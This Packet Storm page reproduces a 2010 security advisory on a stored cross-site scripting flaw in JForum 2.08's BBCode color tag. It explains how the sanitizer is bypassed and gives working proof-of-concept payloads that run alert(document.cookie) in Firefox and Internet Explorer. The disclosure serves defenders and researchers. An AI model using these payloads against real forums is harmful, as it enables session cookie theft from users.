what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JForum 2.08 Cross Site Scripting

JForum 2.08 Cross Site Scripting
Posted Aug 13, 2010
Authored by Giorgio Fedon | Site mindedsecurity.com

JForum versions 2.08 and below suffer from a stored cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 3fe1100de28afe6658fa2b65ada4dda113e0d941cfc15f6c9fdddd29ff5a39a6

JForum 2.08 Cross Site Scripting

Change Mirror Download
Minded Security Labs: Advisory #MSA130510
JForum <= 2.08 is vulnerable to Stored Cross Site Scripting in BBCode.

Tested Versions:
JForum v. 2.08


Minded Security ReferenceID:
MSA130510


Credits:
Discovery by
Giorgio Fedon of Minded Security
giorgio.fedon [_at_] mindedsecurity.com


Severity:
Medium


Solution:
Disable color bbtag


Summary

Minded Security Consultants discovered during a penetration testing activity that
JForum <= 2.08 is vulnerable to Stored Cross Site Scripting.


Analysis


BBcode configurations are loaded from "bb_config.xml" that contains
configurations for bbcode to HTML conversion.

JForum/src/net/jforum/util/bbcode/BBCodeHandler.java (lines 76 to 87)

public BBCodeHandler() { } public BBCodeHandler parse() { try { SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); BBCodeHandler bbParser = new BBCodeHandler(); String path = SystemGlobals.getValue(ConfigKeys.CONFIG_DIR) + "/bb_config.xml"; ...


Tag "[color=red]Text[/color]" is handled by the following lines of code:

<!-- COLOR --> <match name="color" removeQuotes="true"> <regex>(?s)(?i)\[color=['"]?(.*?[^'"])['"]?\](.*?)\[/color\]</regex> <replace> <![CDATA[ <font color='$1'>$2</font> ]]> </replace> </match>



As it's possible to see from the previous code, "color" attribute
expects a parameter between single quotes. Jforum does not encode single
quotes, so it's possible to add arbitrary attributes.

Before launching the attacks it's important to investigate other defense
in depth measures inside Jforum. These controls are handled by:
"JForum/src/net/jforum/util/SafeHtml.java"

By analizing this class it's possible to see that characters "<", ">"
and " \" " are converted into HTML entities:


if (text.indexOf('>') > -1 || text.indexOf('<') > -1) { StringBuffer tmp = new StringBuffer(text); ViewCommon.replaceAll(tmp, "<", "<"); ViewCommon.replaceAll(tmp, ">", ">"); ViewCommon.replaceAll(tmp, "\"", """); node.setText(tmp.toString()); } }



If Decimal or Hex Entities are used, these will be modified to not allow
auto decoding and javascript execution:

if (a.getValue().indexOf("&#") > -1) { a.setValue(a.getValue().replaceAll("&#", "&#"));



If "Style" attribute contains a parenthesis this will lead to clearing
the attribute content:

else if ("STYLE".equals(name)) { // It is much more a try to not allow constructions // like style="background-color: url(javascript:xxxx)" than anything else if (value.indexOf('(') > -1) { return false; } }



From the code above an exact match against the attribute vector is
performed. If the attribute equals to "style" the sanitization step
takes place; unfortunately "/style" is still a valid attribute and
allows to bypass the exact match.

The same technique can be used to evade Jforum blacklist restrictions
for event handlers (es. onMouseOver, onMouseOut, etc.).


---- Proof Of Concept

Stored XSS - proof of concept for Firefox ("onMouseOver" is blacklisted):

[color=red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)']XSS4FF[/color]



Renders into the following HTML code:

<font color='red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)'>XSS4FF</font>



Stored XSS - proof of concept for Internet Explorer ("style" cannot contain
parenthesis "(" ):

[color=red' /style='color:expression(alert(document.cookie))']XSS4IE[/color]



Renders into the following HTML code:

<font color='red' /style='color:expression(alert(document.cookie))'>XSS4IE</font>



Disclosure Timeline

14-02-2010 Issue Discovered
25-02-2010 Reported to Vendor
13-05-2010 Public Disclosure


Disclaimer


The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.

Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com
for permission.



Copyright (c) 2010 Minded Security, S.r.l..

All rights reserved worldwide.



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close